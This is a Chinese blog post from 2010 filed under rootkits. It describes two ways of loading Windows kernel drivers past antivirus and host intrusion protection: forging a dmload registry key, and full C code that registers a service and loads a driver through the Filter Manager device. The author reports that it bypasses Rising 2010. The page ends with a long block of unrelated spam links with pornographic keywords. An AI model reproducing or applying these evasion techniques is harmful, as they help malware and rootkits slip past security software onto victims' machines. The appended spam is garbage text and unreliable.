• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            Load Driver

            Posted on 2010-07-10 17:19 S.l.e!ep.¢% 閱讀(1073) 評論(0)  編輯 收藏 引用 所屬分類: RootKit

            繞過主防加載驅(qū)動的新思路?。?!

            通過dmload.sys可以實(shí)現(xiàn)一種新型的驅(qū)動加載方式。
            ? 在dmload的二次驅(qū)動重初始化時會調(diào)用dmload!DmLoadIsEncapPending來判斷\Registry\Machine\System\CurrentControlSet\Services\dmload\EncapsulationPending子鍵是否存在,如果不存在則調(diào)用dmload!DmLoadIsDmioNeeded判斷系統(tǒng)是否需要加載dmboot驅(qū)動(向disk驅(qū)動發(fā)送IOCTL_DISK_GET_DRIVE_LAYOUT_EX查詢)。而如果存在EncapsulationPending鍵則直接跳過檢測步驟,直接調(diào)用ZwLoadDriver加載dmboot驅(qū)動。
            ? ? 因此,我們只要事先偽造一個EncapsulationPending子鍵,并用我們欲加載的驅(qū)動替換掉dmboot.sys(不替換亦可),重啟后便可成功加載驅(qū)動。


            http://b.qzone.qq.com/cgi-bin/blognew/simpleqzone_blog_data?hostuin=95007909&r=0&idm=qzs.qq.com&bdm=b.qzone.qq.com&mdm=m.qzone.qq.com&blogid=1270802371&numperpage=15

            一種另類驅(qū)動加載辦法

            2010年04月09日 評論(0)|瀏覽(75) 點(diǎn)擊查看原文

            一種另類驅(qū)動加載辦法

            華中科技大學(xué)

            在這個病毒=Rootkit的時代,驅(qū)動的加載無疑是重中之重,自然的,各種ARK以及Hips對驅(qū)動也是嚴(yán)加防范,比如ZwLoadDriver,ZwSetsystemInformation等等,這些API大多都被SSDT HOOK了,使用這些API會被攔截掉,從而使得驅(qū)動無法加載,不過,也有一些繞過的辦法。

            微軟為windows專門設(shè)計(jì)了一套微過濾驅(qū)動(mini filters),這套驅(qū)動是專用于管理文件過濾驅(qū)動的加載和運(yùn)行,很多的虛擬磁盤驅(qū)動,還有還原軟件常用的磁盤過濾驅(qū)動,都是使用微過濾驅(qū)動進(jìn)行加載的,而且一般殺毒軟件對這塊管的并沒有那么嚴(yán),所以可以從這里下手去加載。

            不同于其他的驅(qū)動,Minifilter由一個獨(dú)立的manager管理而不僅僅是SCM(服務(wù)管理器),他的全稱叫Microsoft File System Filter Manager(想了解更多關(guān)于微處理管理器和微過濾驅(qū)動的內(nèi)容,可以到微軟官網(wǎng)查詢,http://www.microsoft.com/whdc/driver/filterdrv/default.mspx)。

            加載驅(qū)動的主要代碼比較簡單

            int main( int argc , char *argv[] )

            {

            HANDLE hDevice;

            LOAD service_to_load;

            BOOL err;

            DWORD dwRet=0;

            WCHAR drvPath[512];

            memset( drvPath , 0 , 512 );

            GetCurrentDirectoryW( MAX_PATH , drvPath );//將驅(qū)動放在當(dāng)前目錄下進(jìn)行加載

            lstrcatW( drvPath , L"\\load.sys" );//驅(qū)動名稱必須為load.sys

            make_reg( L"load" , drvPath );

            hDevice = CreateFile ("\\\\.\\FltMgr" , GENERIC_READ | GENERIC_WRITE , FILE_SHARE_READ | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_NORMAL , NULL );//啟用Fltmgr進(jìn)行驅(qū)動的加載

            if( hDevice == INVALID_HANDLE_VALUE )

            {

            printf("CreateFile failed with status : %d\n" , GetLastError() );//這個是錯誤處理

            goto __end;

            }

            wcscpy( service_to_load.ServiceName , L"load");

            service_to_load.Len = wcslen( service_to_load.ServiceName )*sizeof(WCHAR);

            err = DeviceIoControl( hDevice , MAGIC_IOCTL , &service_to_load , sizeof(service_to_load) , NULL , 0 , &dwRet , NULL );//傳送控制碼

            if( !err )

            {

            printf("sorry\n");

            goto __end;

            }

            printf(":)\n");

            __end:

            CloseHandle( hDevice );

            return 0;

            }

            這段代碼和SCM加載驅(qū)動的代碼基本一致,只不過換成了Fltmgr進(jìn)行加載。

            驅(qū)動還需要在注冊表中進(jìn)行服務(wù)的注冊,不過這個注冊和SCM加載的方式一摸一樣,也不必多說了。

            VOID WINAPI make_reg( LPWSTR szDriverName, LPWSTR szDriverPath )

            {

            DWORD dwType = SERVICE_KERNEL_DRIVER; //定義注冊類型為內(nèi)核驅(qū)動

            DWORD dwStart = SERVICE_DEMAND_START; //手動啟動服務(wù)

            HKEY hKey;

            WCHAR szMain[512] = {0};

            WCHAR szImgPath[512] = {0};

            wchar_t szRegPath[512]={0};

            wsprintfW( szMain,

            L"%s%s",

            L"SYSTEM\\CurrentControlSet\\Services\\",

            szDriverName );//在service鍵值下注冊

            wsprintfW( szImgPath,

            L"%s%s",

            L"\\??\\",

            szDriverPath);

            if( RegCreateKeyW( HKEY_LOCAL_MACHINE, szMain, &hKey ) == ERROR_SUCCESS )

            {

            RegSetValueExW( hKey,

            L"DisplayName",

            0,

            REG_SZ,

            (LPBYTE)szDriverName,

            (DWORD)lstrlenW(szDriverName)*2);

            RegSetValueExW( hKey,

            L"ImagePath",

            0,

            REG_EXPAND_SZ,

            (LPBYTE)szImgPath,

            (DWORD)lstrlenW(szImgPath)*2);

            RegSetValueExW( hKey,

            L"Type",

            0,

            REG_DWORD,

            (LPBYTE)&dwType,

            (DWORD)sizeof(dwType) );

            RegSetValueExW( hKey,

            L"Start",

            0,

            REG_DWORD,

            (LPBYTE)&dwStart,

            (DWORD)sizeof(dwStart) );

            }

            }

            這種方法經(jīng)過測試,可以過瑞星2010最新版,360過不了,其他的待測,網(wǎng)吧的驅(qū)動防火墻不知能不能過,也許可以嘗試下……

            如果對驅(qū)動的加載方式以及原理不是特別了解,可以去參考Programming The Windows Driver Model。

            97r久久精品国产99国产精| 一级做a爰片久久毛片16| 中文字幕日本人妻久久久免费| 影音先锋女人AV鲁色资源网久久| 午夜精品久久久久久99热| 久久精品国产精品青草| 少妇人妻综合久久中文字幕| 77777亚洲午夜久久多喷| 人人狠狠综合久久亚洲高清| 久久棈精品久久久久久噜噜| 久久精品二区| 久久免费精品一区二区| 国产69精品久久久久9999APGF| 久久久久四虎国产精品| 久久精品国产精品亚洲精品 | 久久精品人人做人人妻人人玩| 91精品国产高清久久久久久国产嫩草| 三级韩国一区久久二区综合| 99久久99久久| 99久久精品毛片免费播放| 麻豆精品久久久久久久99蜜桃 | 久久婷婷五月综合成人D啪 | 国产综合成人久久大片91| 777米奇久久最新地址| 性欧美丰满熟妇XXXX性久久久| 亚洲国产成人精品女人久久久 | 久久久久久久久久久精品尤物| 久久国产视屏| 久久久受www免费人成| 国内精品久久久久久久久 | 久久精品嫩草影院| 97久久国产亚洲精品超碰热| 久久久久久亚洲Av无码精品专口| 久久99久国产麻精品66| 人妻丰满AV无码久久不卡| 中文字幕乱码人妻无码久久| 精品久久久久久国产| 久久精品国产亚洲AV大全| 国内精品久久九九国产精品| 国内精品久久久久影院免费| 国产精品美女久久久免费|